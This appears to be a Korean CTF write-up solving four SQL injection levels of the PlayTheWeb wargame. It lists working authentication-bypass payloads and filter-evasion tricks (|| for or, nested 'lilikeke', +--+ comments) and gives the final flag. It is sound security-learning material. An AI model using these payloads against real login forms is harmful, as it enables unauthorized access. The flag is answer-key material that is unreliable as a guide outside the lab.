CTF write_up/기타 CTF

[PlayTheWeb] SQL Injection

ws1004 2019. 9. 18. 02:04

 

추석때 열렸던 PlayTheWeb Wargame 였던것 같다.

 

시간이 없어서 풀지 못했지만 친절한 Alona님께서 계속 Wargame으로 열어 주신다고 하셔서 풀수 있었습니다.

 

1번문제 입니다.  http://ptw.alonalab.kr/ctf/sql1.php

 

이전 까지는 소스코드를 제공 받는 sql injection 만 했었지만 이번 문제는 필터링 값을 알수 가 없습니다.

 

일단 기본적인 쿼리문은 다음과 같습니다.

 

select id from users where id=guest and pw=('$_GET['pw']') 입니다.

 

거의 아무런 필터링이 없는것 같아 보여서 아래와 같은 쿼리문으로 해결 했습니다.

 

sql1.php?pw=') or id like 0x61646d696e%23 으로 페이로드를 넘겨 주면 클리어가 됩니다.

 

위의 페이로드를 넘기면 쿼리문은 아래와 같이 변경 됩니다.

 

select id from users where id=guest and pw=('') or id like 0x61646d696e%23') 

 

 

 

2번 문제 입니다. http://ptw.alonalab.kr/ctf/MXEoCtNmAk.php

 

이번엔 필터링이 좀 걸려있는 것 같습니다.

or를 입력 하면 필터링에 걸리네요! ||로 바꾸겠습니다.

 

MXEoCtNmAk.php?pw=') || id like 0x61646d696e%23

 

 

3번 문제 입니다. http://ptw.alonalab.kr/ctf/cF8D1.php

 

2번처럼 똑같이 페이로드를 전송해보겠습니다.

 

cF8D1.php?pw=') || id like 0x61646d696e%23

 

.... Clear..!

 

 

4번 문제 입니다.  http://ptw.alonalab.kr/ctf/AohZV.php

 

2,3번과 똑같이 입력해 보겠습니다.

 

AohZV.php?pw=') || id like 0x61646d696e%23

 

like 와 #이 필터링 되는 것 같습니다.

 

허나 다행인 점은 like를 필터링 하는 것이 preg_match 와 같은 필터링이 아닌 str_replace 함수로 대체 하는 필터링인것을 확인 할 수 있었습니다.

그래서 아래와 같은 페이로드를 전송하면 다음과 같이 쿼리에 들어갑니다.

 

AohZV.php?pw=') || id lilikeke 0x61646d696e%23

 

 

like가 먹힙니다!

이제 주석만 해결하면 되는데 %23 인 # 대신 +--+ 를 이용해서 주석 처리 하겠습니다.

 

AohZV.php?pw=') || id lilikeke 0x61646d696e+--+

 

 

Flag : ptw_{wWmLb}